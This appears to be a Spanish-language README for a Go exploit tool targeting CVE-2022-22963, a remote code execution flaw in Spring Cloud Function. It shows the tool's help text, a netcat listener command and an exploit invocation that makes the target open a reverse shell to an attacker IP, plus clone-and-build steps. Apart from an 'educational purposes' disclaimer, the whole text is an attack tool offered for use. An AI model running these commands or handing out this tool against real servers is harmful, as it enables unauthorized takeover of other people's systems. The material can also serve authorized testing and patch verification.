
Binarios para CVE-2022-22963
Ejecución remota de código explotando CVE-2022-22963 para atacar el servicio Spring Cloud.
Descargo de responsabilidad: Esto es solo con fines educativos. El autor no es responsable del uso de este programa. Úsalo bajo tu propio riesgo.
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
Supongamos que un posible objetivo vulnerable se está ejecutando en http://somerandomserver.com:8080. Inicia nc escuchando en el puerto 1337, así que ejecutamos nc -lvnp 1337. Luego, ejecuta el script/exploit:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
Si tienes go instalado en tu máquina, simplemente haz:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #run without compiling any file
go build -o exploit main.go #build the file